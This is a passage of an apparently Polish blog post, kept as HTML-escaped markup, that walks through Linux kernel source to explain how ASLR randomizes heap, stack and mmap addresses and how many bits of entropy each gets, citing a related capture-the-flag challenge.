&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="nf">randomize_page&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="n">start&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="n">range&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">PAGE_ALIGNED&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">start&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">range&lt;/span> &lt;span class="o">-=&lt;/span> &lt;span class="nf">PAGE_ALIGN&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">start&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">start&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">start&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">PAGE_ALIGN&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">start&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">start&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">ULONG_MAX&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">range&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">range&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ULONG_MAX&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">start&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">range&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;=&lt;/span> &lt;span class="n">PAGE_SHIFT&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">range&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">start&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">start&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">get_random_long&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">range&lt;/span> &lt;span class="o">&amp;lt;&amp;lt;&lt;/span> &lt;span class="n">PAGE_SHIFT&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>W funkcji &lt;code>arch_randomize_brk&lt;/code> wywołujemy &lt;code>randomize_page&lt;/code> z
argumentem zależnym od tego, czy program jest 32-bitowy. Funkcja
&lt;code>randomize_page&lt;/code> losuje liczbę w zakresie od start do start+range (nie
włącznie). Zatem będziemy losować liczbę w zakresie od mm-&amp;gt;brk (które
jest równe adresowi strony pamięci po której kończy się nasz
załadowany program) do mm-&amp;gt;brk+1GiB.&lt;/p>
&lt;p>Zatem może się wydawać, że mamy dodatkowy 1 Gigabajt (2^30)
losowości. Jednak należy pamiętać, że ten adres jest wyrównany do
strony pamięci (4KiB czyli 2^12), więc odejmowane jest 12
bitów. Zakładając, że znamy adres binarki, ale nie znamy adresu
sterty, mamy 18 (30-12) bitów entropii. Nie jest to jakoś szczególnie
dużo i jest to pewna słabość w ASLR na Linuxie. Fakt ten został
wykorzystany w tegorocznej edycji konkursu hakerskiego Break The
Syntax w jednym z moich zadań poniponi-virus, które było jednym z
trudniejszych zadań. Omówienie zadania można zobaczyć
&lt;a href="https://github.com/PWrWhiteHats/BtS-2025-Writeups/tree/master/pwn/poniponi-virus/writeup"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h4>Stos&lt;span class="hx:absolute hx:-mt-20" id="stos">&lt;/span>
&lt;a href="#stos" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h4>&lt;p>Adres stosu wyznaczamy &lt;a href="https://github.com/torvalds/linux/blob/a5806cd506af5a7c19bcd596e4708b5c464bfd21/fs/binfmt_elf.c#L1020"target="_blank" rel="noopener">w linii 1020&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> w funkcji &lt;code>load_elf_binary&lt;/code>. Zaraz
po tym, gdy wyznaczony jest adres, do którego załadowane będą nasze
biblioteki współdzielone (które będą omówione później).&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl"> &lt;span class="cm">/* Do this so that we can load the interpreter, if need be. We will
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> change some of these later */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">retval&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">setup_arg_pages&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">bprm&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nf">randomize_stack_top&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">STACK_TOP&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">executable_stack&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">retval&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">goto&lt;/span> &lt;span class="n">out_free_dentry&lt;/span>&lt;span class="p">;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Funkcja &lt;code>setup_arg_pages&lt;/code> przyjmuje jako jeden ze swoich argumentów
górę stosu. Należy pamiętać, że w przypadku architektury x64 stos
rośnie w dół (tzn. w kierunku adresów niższych), więc tak naprawdę
wyznaczamy początek stosu. Makro &lt;code>STACK_TOP&lt;/code> jest równe
0x7ffffffff000.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#define __STACK_RND_MASK(is32bit) ((is32bit) ? 0x7ff : 0x3fffff)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#define STACK_RND_MASK __STACK_RND_MASK(mmap_is_ia32())
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="nf">randomize_stack_top&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="n">stack_top&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="n">random_variable&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">current&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">flags&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="n">PF_RANDOMIZE&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">random_variable&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">get_random_long&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">random_variable&lt;/span> &lt;span class="o">&amp;amp;=&lt;/span> &lt;span class="n">STACK_RND_MASK&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">random_variable&lt;/span> &lt;span class="o">&amp;lt;&amp;lt;=&lt;/span> &lt;span class="n">PAGE_SHIFT&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#ifdef CONFIG_STACK_GROWSUP
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span> &lt;span class="k">return&lt;/span> &lt;span class="nf">PAGE_ALIGN&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stack_top&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">random_variable&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#else
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span> &lt;span class="k">return&lt;/span> &lt;span class="nf">PAGE_ALIGN&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stack_top&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">random_variable&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#endif
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Makro &lt;code>STACK_RND_MASK&lt;/code> jest równe 0x3fffff, także generujemy liczbę
składającą się z 22 losowych bitów wyrównanych do strony pamięci. Po
tym odejmujemy tę liczbę z adresu, który byłby górą stosu gdyby nie
ASLR.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">setup_arg_pages&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">struct&lt;/span> &lt;span class="n">linux_binprm&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">bprm&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="n">stack_top&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">executable_stack&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#else
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span> &lt;span class="n">stack_top&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">arch_align_stack&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stack_top&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">stack_top&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">PAGE_ALIGN&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stack_top&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">unlikely&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stack_top&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">mmap_min_addr&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">||&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">unlikely&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">vma&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">vm_end&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">vma&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">vm_start&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="n">stack_top&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">mmap_min_addr&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">ENOMEM&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">stack_shift&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">vma&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">vm_end&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">stack_top&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">bprm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">-=&lt;/span> &lt;span class="n">stack_shift&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">mm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">arg_start&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">bprm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#endif&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>W funkcji &lt;code>setup_arg_pages&lt;/code> dodatkowo wywołujemy funkcję
&lt;code>arch_align_stack&lt;/code>, która dodaje losowe nadprogramowe mniej znaczące bity
do naszego stosu. W wyniku czego stos nie będzie się zaczynał na
początku/końcu jakiejś strony pamięci, tylko w środku. Reszta strony
będzie najzwyczajniej wypełniona zerami. Ta dwupoziomowa randomizacja
stosu (gruba randomizacja na poziomie stron + drobna randomizacja
wewnątrz strony) zapewnia zarówno znaczną entropię jak i poprawne
wyrównanie dla instrukcji wymagających określonego alignmentu.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="nf">arch_align_stack&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="n">sp&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">current&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">personality&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="n">ADDR_NO_RANDOMIZE&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="n">randomize_va_space&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sp&lt;/span> &lt;span class="o">-=&lt;/span> &lt;span class="nf">get_random_u32_below&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">8192&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">sp&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="o">~&lt;/span>&lt;span class="mh">0xf&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>W funkcji &lt;code>arch_align_stack&lt;/code> możemy zobaczyć, że losujemy liczbę
mniejszą niż 8192 (0x2000). Czyli mamy 13 losowych bitów. Po tym, przed
zwróceniem tej liczby maskujemy ją z ~0xf, czyli usuwamy 4 bity
losowości, otrzymując ostatecznie 9 bitów losowości. Jednak jeden bit
pokrywa się z innym bitem poprzedniej wylosowanej liczby, więc w
praktyce mamy około 30 bitów losowości (22+9-1).&lt;/p>
&lt;h4>Biblioteki współdzielone i mmap&lt;span class="hx:absolute hx:-mt-20" id="biblioteki-współdzielone-i-mmap">&lt;/span>
&lt;a href="#biblioteki-wsp%c3%b3%c5%82dzielone-i-mmap" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h4>&lt;p>W funkcji &lt;code>load_elf_binary&lt;/code> &lt;a href="https://github.com/torvalds/linux/blob/a5806cd506af5a7c19bcd596e4708b5c464bfd21/fs/binfmt_elf.c#L1016"target="_blank" rel="noopener">w linii 1016&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> mamy funkcję
&lt;code>setup_new_exec&lt;/code>, która wywołuje &lt;code>arch_pick_mmap_layout&lt;/code>, która z
kolei wywołuje &lt;code>arch_pick_mmap_base&lt;/code>. W tej funkcji wyznaczamy adres
bazowy dla dynamicznie ładowanych bibliotek współdzielonych (takich
jak np. &lt;code>libc.so.6&lt;/code>) oraz adresów zwracanych przez syscall mmap.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">arch_pick_mmap_layout&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">struct&lt;/span> &lt;span class="n">mm_struct&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">mm&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">struct&lt;/span> &lt;span class="n">rlimit&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">rlim_stack&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">mmap_is_legacy&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">clear_bit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">MMF_TOPDOWN&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">mm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">flags&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">set_bit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">MMF_TOPDOWN&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">mm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">flags&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">arch_pick_mmap_base&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">mm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">mmap_base&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">mm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">mmap_legacy_base&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">arch_rnd&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">mmap64_rnd_bits&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="nf">task_size_64bit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">rlim_stack&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
